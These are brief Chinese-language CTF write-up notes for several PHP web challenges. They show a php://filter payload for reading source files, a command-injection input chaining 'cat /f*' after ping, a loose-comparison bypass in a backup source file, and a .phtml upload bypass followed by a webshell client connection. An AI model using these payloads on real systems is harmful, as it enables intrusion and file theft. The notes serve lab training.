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Include

php伪协议

php://filter/read=convert.base64-encode/resource=flag.php

Exec

ping 127.0.0.1

利用 ;隔开执行命令

127.0.0.1;cat /f*

BackupFile

index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

弱比较

key=123.5
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Upload

文件上传，抓包改后缀为 .phtml绕过

蚁剑连接即可
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